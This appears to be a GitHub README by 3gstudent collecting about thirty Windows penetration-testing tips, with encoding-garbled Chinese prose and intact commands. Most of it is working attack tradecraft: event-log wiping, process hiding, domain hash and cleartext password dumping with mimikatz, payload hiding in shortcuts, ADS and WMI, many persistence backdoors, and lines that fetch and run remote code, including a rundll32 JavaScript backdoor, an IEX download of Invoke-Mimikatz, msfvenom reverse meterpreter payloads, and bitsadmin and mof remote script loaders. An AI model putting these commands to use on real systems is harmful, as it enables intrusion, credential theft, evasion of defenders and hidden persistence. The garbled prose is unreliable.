Pentest-and-Development-Tips
Pentest-and-Development-Tips copied to clipboard
A collection of pentest and development tips
Pentest-and-Development-Tips
A collection of pentest and development tips
Author: 3gstudent
Click on me to view the English version
声æ
以ä¸æå·§ä¸åºç¨äºéæ³ç¨é
Tips 1. æå¨ç«¯å£æ¢æµ
nmapç-sVå¯ä»¥æ¢æµåºæå¡çæ¬ï¼ä½æäºæ åµä¸å¿ é¡»æå¨æ¢æµå»éªè¯
使ç¨Wiresharkè·åååºå æªå 大æå°ç¨ï¼å¯éè¿ncç®åå¤æ
eg.
对äº8001端å£ï¼ncè¿æ¥ä¸å»ï¼é便è¾å ¥ä¸ä¸ªå符串ï¼å¾å°äºä»¥ä¸ç»æï¼
$ nc -vv localhost 8001
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>
ç±æ¤æ们ç¥éäºè¿æ¯ä¸ä¸ªhttpæå¡ï¼å 为æ们åéçå符串ä¸æ¯ä¸ä¸ªåæ³çHTTP请æ±ï¼å æ¤è¿åä¸ä¸ª400 Bad requestsï¼æ们è¿å¾å°äºç³»ç»ççæ¬æ¯Debianï¼WebServeræ¯Apache
åèï¼
ãè°è°ç«¯å£æ¢æµçç»éªä¸åçã
Tips 2. Windowsç³»ç»ä»Kaliä¸è½½æ件
Kali:
python -m SimpleHTTPServer 80
Windows:
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
åèï¼
ãæ¸éæµè¯ä¸çcertutil.exeã
Tips 3. é 置工ä½ç»è®¡ç®æº,ä½¿å ¶æ¯ænet useè¿ç¨è¿æ¥
æ·»å ç¨æ·ï¼
net user test test /add
net localgroup administrators test /add
ä¿®æ¹æ³¨å表ï¼ä½¿å ¶æ¯æè¿ç¨è¿æ¥ï¼
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
net useè¿ç¨è¿æ¥ï¼
net use \\192.168.1.195 test /u:test
Tips 4. Windows evtxæ¥å¿æ¸ é¤
è·åevtxæ¥å¿åç±»å表ï¼
wevtutil el >1.txt
è·åå个evtxæ¥å¿ç±»å«çç»è®¡ä¿¡æ¯ï¼
eg.
wevtutil gli "windows powershell"
åæ¾ï¼
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1
æ¥çæå®evtxæ¥å¿çå ·ä½å 容ï¼
wevtutil qe /f:text "windows powershell"
æ¥æ¾æå®æ°éçæ¥å¿å 容ï¼
wevtutil qe /f:text "windows powershell" /c:20
å é¤å个evtxæ¥å¿ç±»å«çææä¿¡æ¯ï¼
wevtutil cl "windows powershell"
åèï¼
ãæ¸éæå·§-Windowsæ¥å¿çå é¤ä¸ç»è¿ã
åæ¡evtxæ¥å¿æ¸ é¤ï¼
ãæ¸éæå·§ââWindowsåæ¡æ¥å¿çå é¤ã
Tips 5. ç ´åWindowsæ¥å¿è®°å½åè½
éè¿è°ç¨TerminateThreadç»æå®ç°æ¥å¿åè½ç线ç¨ï¼ä½¿å¾æ¥å¿è®°å½åè½å¤±æï¼ä½Windows Event Logæå¡æ²¡æè¢«ç ´åï¼ç¶æä»ä¸ºæ£å¨è¿è¡
Powershell:
https://github.com/hlldz/Invoke-Phant0m
C++:
https://github.com/3gstudent/Windwos-EventLog-Bypass
åèï¼
ãæ¸éæå·§-Windowsæ¥å¿çå é¤ä¸ç»è¿ã
Tips 6. Win7åWindows Server 2008 R2ä¸çè¿ç¨éè
å©ç¨globalAPIhooksï¼éè¿ä¿®æ¹æ³¨å表å®ç°
ä¸è½½å·¥ç¨ï¼https://github.com/subTee/AppInitGlobalHooks-Mimikatz
ä¿®æ¹ä»£ç æå®è¦éèçç¨åºåcldr.exeï¼ç¼è¯æcldr.dllï¼cldr.dllæ¾å¨C:\ProgramData\Microsoft\HelpLibrary\
管çåæéï¼
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
æ¤æ¶ï¼ä»»å¡ç®¡çå¨è¿ç¨å表ä¸åå¨cldr.exeï¼Process Explorerä¸åå¨cldr.exeï¼Tasklist.exeä¸åå¨cldr.exe
对äº64ä½ç³»ç»ï¼
管çåæéï¼
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f
åèï¼
ãå©ç¨globalAPIhookså¨Win7ç³»ç»ä¸éèè¿ç¨ã
Tips 7. ååexeåcomæ件æ§è¡é¡ºåº
å¦æä¸ä¸ªè·¯å¾ä¸åæ¶å å«ååçexeåcomæ件ï¼ä¾å¦test.exeåtest.comï¼éè¿å½ä»¤è¡cmdè¾å ¥test(ä¸å å«æ件åç¼å)ï¼ä¼ä¼å è¿è¡comæ件ï¼å³test.com
èCOMæ件ççæåªéè¦æexeæ件çåç¼åæ¹ä¸ºcomå³å¯
åèï¼
ãA dirty way of tricking users to bypass UACã
Tips 8. Windowsç³»ç»è¯ä¹¦çæä¸æ³¨å
è¯ä¹¦çæä¸ç¾åï¼
makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe
æ§è¡åçæRoot.cerãRoot.pfxãRoot.pvkãRoot.spcå个æ件ï¼test.exe被å ä¸æ°åç¾å
è¯ä¹¦æ³¨åï¼
管çåæécmdï¼å°è¯ä¹¦æ·»å å°localmachineï¼
certmgr.exe -add -c Root.cer -s -r localmachine root
åèï¼
ãA dirty way of tricking users to bypass UACã
Tips 9.  htaæ§è¡vbsï¼å è½½powershell
test.htaï¼
<HTML>
<HEAD>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
åèï¼
ãBypass McAfee Application ControlââCode Executionã
Tips 10. éè¿c#ç¼ådll & éè¿rundll32.exeæè regsvr32å è½½dll
é»è®¤æ åµä¸ï¼c#ä¸å¯ä»¥å£°æ导åºå½æ°ï¼ä½å¯éè¿æ·»å UnmanagedExportså®ç°
å½ç¶ï¼éè¿c#ç¼åçdllï¼dlléè¦å¨å¯¹åºçæ¬ç.NETç¯å¢æè½æ£å¸¸è¿è¡ï¼éè¿c++ç¼åçdllæ´å éç¨
éè¿rundll32.exeæè regsvr32è½å¤å è½½dllï¼ä½è¦æ±dllå å«ç¹å®ç导åºå½æ°
åèï¼
ãCode Execution of Regsvr32.exeã
Tips 11. Windowsä¸cplæ件ä»ç»
æ¬è´¨ä¸æ¯DLLæ件ï¼åç¼å为cplï¼å å«ä¸ä¸ªå¯¼åºå½æ°CPLApplet(cå®ç°å¯ä¸æå®)
æ§è¡æ¹æ³ï¼
(1)åå»ç´æ¥è¿è¡
(2)cmd
rundll32 shell32.dll,Control_RunDLL test.cpl
(3)cmd
control test.cpl
(4)vbs
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
(5)js
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");
åèï¼
ãCPLæ件å©ç¨ä»ç»ã
Tips 12. Windowsä¸éè¿cmdè°ç¨rundll32æ§è¡ä¸æ®µä»£ç å¼¹åShell
Server:
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1
Client:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
å½ç¶ï¼è¯¥RATå·¥å ·è¿å¯éè¿ä»¥ä¸æ¹æ³å è½½ï¼
vbsï¼jsï¼exeï¼dllï¼shellcode
åèï¼
ãJavaScript Backdoorã
ãJavaScript Phishingã
Tips 13. å¯éè¿å ådumpè¿ååºputty&pageantçå¯é¥
windowsåLinuxåéç¨
åèï¼
ãMemory Dumpå©ç¨å®ä¾ã
Tips 14. é对Visual Studioçéé±¼å©ç¨
Visual C++ï¼
- ä¿®æ¹.vcxprojæ件
Visual Basicï¼
- ä¿®æ¹.vbprojæ件
Visual F#ï¼
- ä¿®æ¹.fsprojæ件
使ç¨Visual Studio对以ä¸ä»»ä¸å·¥ç¨ç¼è¯æ¶ï¼è½å¤æ§è¡ä»»æ代ç
åèï¼
ãPay close attention to your download codeââVisual Studio trick to run code when buildingã
Tips 15. 32ä½ç¨åºå¨64ä½Windowsç³»ç»ä¸æ§è¡çæ¶åï¼å¦ææ对注å表åæ件çæä½ï¼åå¨éå®å
对注å表æä½ï¼
访é®HKLM\Software\çå®é è·¯å¾ä¸ºHKLM\Software\Wow6432Node\
对æ件æä½ï¼
访é®c:\windows\Sysnative\ çå®é
è·¯å¾ä¸º c:\windows\system32
访é®c:\windows\system32\ çå®é
è·¯å¾ä¸º c:\windows\SysWOW64\
åèï¼
ãå ³äº32ä½ç¨åºå¨64ä½ç³»ç»ä¸è¿è¡ä¸éè¦æ³¨æçéå®åé®é¢ã
Tips 16. è·åWindowsåæ§ææç¨æ·hash
æ¹æ³1ï¼
å¤å¶ntds.ditï¼
使ç¨NinjaCopyï¼https://github.com/3gstudent/NinjaCopy
导åºhashï¼
使ç¨quarkspwdumpï¼https://github.com/quarkslab/quarkspwdump
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt cï¼\test\ntds.dit -o cï¼\test\log.txt
æ¹æ³2ï¼
使ç¨powershellï¼DSInternals PowerShell Module
https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip
éç¨æ¡ä»¶ï¼
Windows PowerShell 3.0 or 3.0+
.NET Framework 4.0 or 4.0+
åèï¼
ã导åºå½ååå ææç¨æ·hashçææ¯æ´çã
ãå©ç¨Powershellå¿«é导åºåæ§ææç¨æ·Hashã
æ¹æ³3ï¼
mimikatzï¼
mimikatz.exe "lsadump::dcsync /domain:test.local /all /csv" exit
Tips 17. 导åºWindowsç³»ç»ææå£ä»¤
Windows Server 2012é»è®¤æ æ³ä½¿ç¨mimikatz导åºææå£ä»¤ï¼é¨åWindows Server 2008ä¹ä¸æ ·
解å³æ¹æ³ï¼å¯ç¨Wdigest Auth
cmd:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
or
powershell:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
éå¯æè ç¨æ·å次ç»å½ï¼è½å¤å¯¼åºææå£ä»¤
åèï¼
ãåæ¸éââDump Clear-Text Password after KB2871997 installedã
Tips 18. å¯éè¿Hook PasswordChangeNotifyå®æ¶è®°å½åæ§ç®¡çåçæ°å¯ç
å½ç¶ï¼å¯éæ©ä¿åå¨æ¬å°ææ¯å°å¯ç ä¸ä¼ è³æå¡å¨
åèï¼
ãåæ¸éââHook PasswordChangeNotifyã
Tips 19. å¨åæ¸éæ¶è¦è®°å¾çæåå 主æºçæ¬å°ç®¡çåè´¦å·
å¦æ管çåç忽ï¼åå 主æºä½¿ç¨ç¸åçæ¬å°ç®¡çåè´¦å·ï¼å¯ä»¥éè¿pass-the-hashè¿ç¨ç»å½åå å ¶ä»ä¸»æº
åèï¼
ãåæ¸éââLocal Administrator Password Solutionã
Tips 20. éè¿powershellè·ådllç导åºå½æ°
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1
Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt
åèï¼
ãStudy Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)ã
Tips 21. å¿«æ·æ¹å¼çåæ°éèæå·§
å°payloadæ¾ç½®å¨260个空å符ä¹åï¼è¿æ ·æ æ³å¨æ件å±æ§æ¥çpayloadï¼å¯ä»¥ç¨æ¥å¨å¿«æ·æ¹å¼ä¸éèpayloadï¼æ¬ºéªç¨æ·ç¹å»ï¼éè½æ§è¡ä»£ç
åèï¼
ãæ¸éæå·§ââå¿«æ·æ¹å¼æ件çåæ°éèæå·§ã
Tips 22. 32ä½ç¨åºè½å¤å¯¹64ä½è¿ç¨è¿è¡è¿ç¨æ³¨å ¥
POCï¼
https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp
åèï¼
ã32ä½ç¨åºå¯¹64ä½è¿ç¨çè¿ç¨æ³¨å ¥å®ç°ã
Tips 23. systemæéçè¿ç¨å¨æäºæ åµä¸éè¦è¿è¡éæ
使ç¨sytemæéçè¿ç¨å¯è½ä¼éå°ä»¥ä¸é®é¢:
1.æ æ³è·å¾å½åç¨æ·çæ件å 容
ä¾å¦æ æ³æè·ç¨æ·çå±å¹
2.ç¯å¢åéæå·®å¼
å æ¤éè¦éæå°å½åç¨æ·
éææ¹æ³1ï¼ä½¿ç¨SelectMyParent.exe
代ç ä¸è½½å°åï¼https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp
åèï¼
ãæ¸éæå·§ââç¨åºçéæå¯å¨ã
éææ¹æ³2ï¼ä½¿ç¨msdtc
使ç¨msdtcä¼ä»¥systemæéå è½½oci.dllï¼ä½å¨ç®¡çåæécmdæ§è¡ï¼
msdtc -install
å¯å¨çcalc.exe为highæé
åèï¼
ãUse msdtc to maintain persistenceã
Tips 24. éè¿å½ä»¤è¡è½å¤å¯¹Windowsç³»ç»å®è£ WinPcapï¼è¿æ ·å°±å¯ä»¥å¨Windowsè·³æ¿ä¸ä½¿ç¨nmapåMasscan
åèï¼
ãæ¸éæå·§ââWindowså¹³å°è¿è¡MasscanåNmapã
Tips 25. Windowså¹³å°æ§è¡mimikatzçæ¹æ³
æ¹æ³1ï¼éè¿powershell
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
æ¹æ³2ï¼éè¿InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
åèï¼
ãå©ç¨ç½ååç»è¿360å®ä¾ã
ãå©ç¨ç½ååç»è¿éå¶çæ´å¤æµè¯ã
æ¹æ³3ï¼éè¿regsvr32.exe
https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs
å°mimikatzå°è£ å°dllä¸ï¼éè¿regsvr32ä¼ å ¥åæ°è¿è¡mimkatz
rundll32 katz.dll,EntryPoint log coffee exit
åèï¼
ãCode Execution of Regsvr32.exeã
æ¹æ³4ï¼éè¿msbuild.exe
ä¸è½½xmlæ件ï¼ä¿å为a.xmlï¼
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
cmdï¼
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml
åèï¼
æ¹æ³5ï¼éè¿csi.exe
"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx
åèï¼
æ¹æ³6ï¼éè¿js/vbsèæ¬
https://gist.github.com/subTee/5c636b8736530fb20c3d
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f
åèï¼
ãå©ç¨JSå è½½.Netç¨åºã
Tips 26. Windowsç³»ç»ä¸å¯ä¾åå¨å读åpayloadçä½ç½®
æ¹æ³1ï¼WMI
åå¨ï¼
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
读åï¼
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
åèï¼
ãWMI Backdoorã
æ¹æ³2ï¼å å«æ°åç¾åçPEæ件
å©ç¨æ件hashçç®æ³ç¼ºé·ï¼åPEæ件ä¸éèPayloadï¼åæ¶ä¸å½±å该PEæ件çæ°åç¾å
åèï¼
ãéåæå·§-å¨PEæ件çæ°åè¯ä¹¦ä¸éèPayloadã
æ¹æ³3ï¼ç¹æ®ADS
(1)...
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
(2)ç¹æ®COMæ件
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
(3)ç£çæ ¹ç®å½
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
åèï¼
ãHidden Alternative Data Streamsçè¿é¶å©ç¨æå·§ã
Tips 27. Windowsç³»ç»ä¸å¼å¾æéçä¿¡æ¯
(1)已注åçWMIä¿¡æ¯
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list
管çåä¹è®¸ä¼ä½¿ç¨WMIè®°å½æ»å»è è°ç¨WMIçæä½ï¼å¯éè¿wmicæ¥çï¼å½ç¶éè¿wmicä¹è½å ³é该çæ§åè½
åèï¼
ãStudy Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))ã
(2)计ç®æºå
wmic /node:192.168.1.10 /user:"administrator" /password:"123456" /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem get CSName
Tips 28. Windowsç³»ç»åå¼¹meterpreterç常ç¨æ¹æ³
æ¹æ³1ï¼éè¿rundll32å è½½dllåå¼¹meterpreter
msfï¼
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
çæa.dll,ç¶åä¸ä¼ è³æµè¯ä¸»æº
æ§è¡rundll32.exe a.dll,Control_RunDLL
ï¼å³å¯ä¸çº¿
æ¹æ³2ï¼éè¿cplåå¼¹meterpreter
代ç è§https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp
çædllï¼éå½å为cplï¼åå»æ§è¡
æ¹æ³3ï¼éè¿powershellåå¼¹meterpreter
https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1
Tips 29. Windowsç³»ç»å è½½dllçæ¹æ³
æ¹æ³1ï¼rundll32
rundll32 a.dll,EntryPoint
æ¹æ³2ï¼regsvr32
regsvr32 a.dll
åèï¼
ãCode Execution of Regsvr32.exeã
æ¹æ³3ï¼odbcconf
odbcconf.exe /a {regsvr c:\test\odbcconf.dll}
åèï¼
ãStudy Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)ã
æ¹æ³4ï¼Tracker
Tracker.exe /d test.dll /c svchost.exe
tracker.exeå å«å¾®è½¯æ°åç¾åï¼å¯ç»è¿åºç¨ç¨åºç½ååçéå¶
åèï¼
æ¹æ³5ï¼Excel.Application object's RegisterXLL() method
åæï¼å·²å®è£ Microsoft Office软件
1.rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();
2.js
var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");
3.powershell
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")
åèï¼
ãUse Excel.Application object's RegisterXLL() method to load dllã
æ¹æ³6ï¼xwizard.exe
å¤å¶%windir%\system32\ä¸çxwizard.exeè³æ°ç®å½C:\x
å°msg.dlléå½å为xwizards.dllï¼ä¿åå¨C:\x
å½ä»¤è¡æ§è¡ï¼
xwizard processXMLFile 1.txt
æåå è½½C:\x\xwizards.dll
åèï¼
ãUse xwizard.exe to load dllã
Tips 30. Windows Persistence
æ¹æ³1ï¼bitsadmin
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
åèï¼
ãUse bitsadmin to maintain persistence and bypass Autorunsã
æ¹æ³2ï¼mof
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
管çåæéï¼
mofcomp test.mof
åèï¼
ãWSCãJSRAT and WMI Backdoorã
æ¹æ³3ï¼wmi
æ¯é60ç§æ§è¡ä¸æ¬¡notepad.exe
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
åèï¼
ãStudy Notes of WMI Persistence using wmic.exeã
æ¹æ³4ï¼Userland Persistence With Scheduled Tasks
å«æ计åä»»å¡UserTaskï¼å¨ç³»ç»å¯å¨æ¶å è½½testmsg.dll
æä½å¦ä¸ï¼
å¨HKEY_CURRENT_USER\Software\Classes\CLSID\ä¸æ°å»ºé¡¹{58fb76b9-ac85-4e55-ac04-427593b1d060}
æ¥çæ°å»ºé¡¹InprocServer32
å¼è®¾å®ä¸ºc:\test\testmsg.dll
testmsg.dllå å«å¦ä¸å¯¼åºå½æ°ï¼
DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer
çå¾ ç¨æ·éæ°ç»å½
åèï¼
ãUserland registry hijackingã
æ¹æ³5ï¼Netsh
helper DLLéè¦å å«å¯¼åºå½æ°InitHelperDll
管çåæéï¼
netsh add helper c:\test\netshtest.dll
helper dllæ·»å æååï¼æ¯æ¬¡è°ç¨netshï¼åä¼å è½½c:\test\netshtest.dll
åèï¼
æ¹æ³6ï¼Shim
常ç¨æ¹å¼ï¼
- InjectDll
- RedirectShortcut
- RedirectEXE
ãæ¸éæµè¯ä¸çApplication Compatibility Shimsã
æ¹æ³7ï¼dllå«æ
éè¿Rattlerèªå¨æ举è¿ç¨ï¼æ£æµæ¯å¦åå¨å¯ç¨dllå«æå©ç¨çè¿ç¨
path:
- c:\windows\midimap.dll
åèï¼
ãDLLå«ææ¼æ´èªå¨åè¯å«å·¥å ·Rattleræµè¯ã
æ¹æ³8ï¼DoubleAgent
ç¼åèªå®ä¹Verifier provider DLL
éè¿Application Verifierè¿è¡å®è£
æ³¨å ¥å°ç®æ è¿ç¨æ§è¡payload
æ¯å½ç®æ è¿ç¨å¯å¨ï¼åä¼æ§è¡payloadï¼ç¸å½äºä¸ä¸ªèªå¯å¨çæ¹å¼
åèï¼
ãæ¸éæµè¯ä¸çApplication Verifier(DoubleAgentå©ç¨ä»ç»)ã
æ¹æ³9ï¼waitfor.exe
ä¸æ¯æèªå¯å¨ï¼ä½å¯è¿ç¨ä¸»å¨æ¿æ´»ï¼åå°è¿ç¨æ¾ç¤ºä¸ºwaitfor.exe
åèï¼
ãUse Waitfor.exe to maintain persistenceã
æ¹æ³10ï¼AppDomainManager
é对.Netç¨åºï¼éè¿ä¿®æ¹AppDomainManagerè½å¤å«æ.Netç¨åºçå¯å¨è¿ç¨ã å¦æå«æäºç³»ç»å¸¸è§.Netç¨åºå¦powershell.exeçå¯å¨è¿ç¨ï¼åå ¶æ·»å payloadï¼å°±è½å®ç°ä¸ç§è¢«å¨çåé¨è§¦åæºå¶
åèï¼
ãUse AppDomainManager to maintain persistenceã
æ¹æ³11ï¼Officeå 载项
å¦æç³»ç»å·²å®è£ office软件ï¼å¯éè¿é ç½®Officeå 载项å®ç°å«æï¼ä½ä¸ºè¢«å¨åé¨
常ç¨å©ç¨æ¹å¼ï¼
Word WLL
Excel XLL
Excel VBA add-ins
PowerPoint VBA add-ins
POCï¼https://github.com/3gstudent/Office-Persistence
åèï¼
ãUse Office to maintain persistenceã
ãOffice Persistence on x64 operating systemã
æ¹æ³12ï¼CLR
æ é管çåæéçåé¨ï¼å¹¶è½å¤å«æææ.Netç¨åº
POC:https://github.com/3gstudent/CLR-Injection
åèï¼
ãUse CLR to maintain persistenceã
æ¹æ³13ï¼msdtc
å©ç¨MSDTCæå¡å è½½dllï¼å®ç°èªå¯å¨ï¼å¹¶ç»è¿Autoruns对å¯å¨é¡¹çæ£æµ
åèï¼
ãUse msdtc to maintain persistenceã
æ¹æ³14ï¼Hijack CAccPropServicesClass and MMDeviceEnumerator
ä¸éè¦éå¯ç³»ç»ï¼ä¸éè¦ç®¡çåæé
éè¿ä¿®æ¹æ³¨å表å®ç°
POCï¼https://github.com/3gstudent/COM-Object-hijacking
åèï¼
æ¹æ³15ï¼Hijack explorer.exe
ä¸éè¦éå¯ç³»ç»ï¼ä¸éè¦ç®¡çåæé
éè¿ä¿®æ¹æ³¨å表å®ç°
åèï¼
ãUse COM Object hijacking to maintain persistenceââHijack explorer.exeã
æ¹æ³16ï¼Windows FAX DLL Injection
éè¿DLLå«æï¼å«æExplorer.exe对fxsst.dllçå è½½
Explorer.exeå¨å¯å¨æ¶ä¼å è½½cï¼\Windows\System32\fxsst.dll
(æå¡é»è®¤å¼å¯ï¼ç¨äºä¼ çæå¡)
å°payload.dllä¿åå¨cï¼\Windows\fxsst.dllï¼è½å¤å®ç°dllå«æï¼å«æExplorer.exe对fxsst.dllçå è½½
ç¸åçå©ç¨æ¹æ³ï¼
å°payload.dlléå½å为linkinfo.dllï¼å«æExplorer.exe对linkinfo.dllçå è½½
æ¹æ³17ï¼å«æOffice软件çç¹å®åè½
éè¿dllå«æ,å¨Office软件æ§è¡ç¹å®åè½æ¶è§¦ååé¨
åè:
ãå©ç¨BDFåDLLæ件æ¤å ¥åé¨ã
æ¹æ³18ï¼ç¹æ®æ³¨å表é®å¼
å¨æ³¨å表å¯å¨é¡¹å建ç¹æ®å称ç注å表é®å¼ï¼ç¨æ·æ£å¸¸æ åµä¸æ æ³è¯»å(使ç¨Win32 API)ï¼ä½ç³»ç»è½å¤æ§è¡(使ç¨Native API)
åèï¼
ãæ¸éæå·§ââ"éè"注å表çå建ã
